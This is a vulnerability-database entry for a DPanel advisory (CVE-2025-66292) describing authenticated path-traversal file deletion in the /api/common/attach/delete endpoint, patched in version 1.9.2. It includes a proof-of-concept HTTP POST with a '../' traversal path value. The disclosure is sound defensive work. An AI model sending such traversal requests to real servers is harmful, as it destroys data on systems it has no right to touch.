GHSA-VH2X-FW87-4FXQ

Vulnerability from github – Published: 2026-01-15 17:58 – Updated: 2026-01-15 20:17
VLAI
Summary
DPanel has an arbitrary file deletion vulnerability in /api/common/attach/delete interface
Details

Summary

DPanel has an arbitrary file deletion vulnerability in the /api/common/attach/delete interface. Authenticated users can delete arbitrary files on the server via path traversal.

Details

When a user logs into the administrative backend, this interface can be used to delete files. The vulnerability lies in the Delete function within the app/common/http/controller/attach.go file.

The path parameter submitted by the user is directly passed to storage.Local{}.GetSaveRealPath and subsequently to os.Remove without proper sanitization or checking for path traversal characters (../).

The vulnerable code snippet: image

And the helper function in common/service/storage/local.go uses filepath.Join, which resolves ../ but does not enforce a chroot/jail: image

PoC

  1. Log in to the DPanel dashboard to obtain the Authorization token.
  2. Send a POST request to delete a file (e.g., /tmp/1.txt inside the container).

Request:

POST /dpanel/api/common/attach/delete HTTP/1.1
Host: target-ip:8807
Authorization: Bearer <YOUR_TOKEN>
Content-Type: application/x-www-form-urlencoded

path=../../../../../../../../tmp/1.txt

image image image image image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/donknap/dpanel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T17:58:42Z",
    "nvd_published_at": "2026-01-15T17:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nDPanel has an arbitrary file deletion vulnerability in the `/api/common/attach/delete` interface. Authenticated users can delete arbitrary files on the server via path traversal.\n\n### Details\nWhen a user logs into the administrative backend, this interface can be used to delete files. The vulnerability lies in the `Delete` function within the `app/common/http/controller/attach.go` file.\n\nThe `path` parameter submitted by the user is directly passed to `storage.Local{}.GetSaveRealPath` and subsequently to `os.Remove` without proper sanitization or checking for path traversal characters (`../`).\n\nThe vulnerable code snippet:\n\u003cimg width=\"487\" height=\"363\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b811de6f-1df1-49f3-af78-ea77bc420804\" /\u003e\n\n\nAnd the helper function in `common/service/storage/local.go` uses `filepath.Join`, which resolves `../` but does not enforce a chroot/jail:\n\u003cimg width=\"564\" height=\"66\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84d5a4f7-9054-4e1d-aa6b-6b50c80ba277\" /\u003e\n\n### PoC\n1. Log in to the DPanel dashboard to obtain the `Authorization` token.\n2. Send a POST request to delete a file (e.g., `/tmp/1.txt` inside the container).\n\n**Request:**\n```http\nPOST /dpanel/api/common/attach/delete HTTP/1.1\nHost: target-ip:8807\nAuthorization: Bearer \u003cYOUR_TOKEN\u003e\nContent-Type: application/x-www-form-urlencoded\n\npath=../../../../../../../../tmp/1.txt\n```\n\n\u003cimg width=\"1600\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/40e4d3cb-57f7-4a4e-adcc-a9503af762be\" /\u003e\n\u003cimg width=\"346\" height=\"191\" alt=\"image\" src=\"https://github.com/user-attachments/assets/756c0891-e61b-434c-9386-6e701bbb1a97\" /\u003e\n\u003cimg width=\"1310\" height=\"885\" alt=\"image\" src=\"https://github.com/user-attachments/assets/31c883c2-725e-4618-977c-35fe19adafb1\" /\u003e\n\u003cimg width=\"1009\" height=\"209\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2641fdfb-6d73-4940-bd92-44d748e0e6b7\" /\u003e\n\u003cimg width=\"1265\" height=\"876\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14c67ec8-ec37-4820-90be-a24f58819020\" /\u003e",
  "id": "GHSA-vh2x-fw87-4fxq",
  "modified": "2026-01-15T20:17:37Z",
  "published": "2026-01-15T17:58:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/donknap/dpanel/security/advisories/GHSA-vh2x-fw87-4fxq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/donknap/dpanel/commit/cbda0d90204e8212f2010774345c952e42069119"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/donknap/dpanel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/donknap/dpanel/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DPanel has an arbitrary file deletion vulnerability in /api/common/attach/delete interface"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.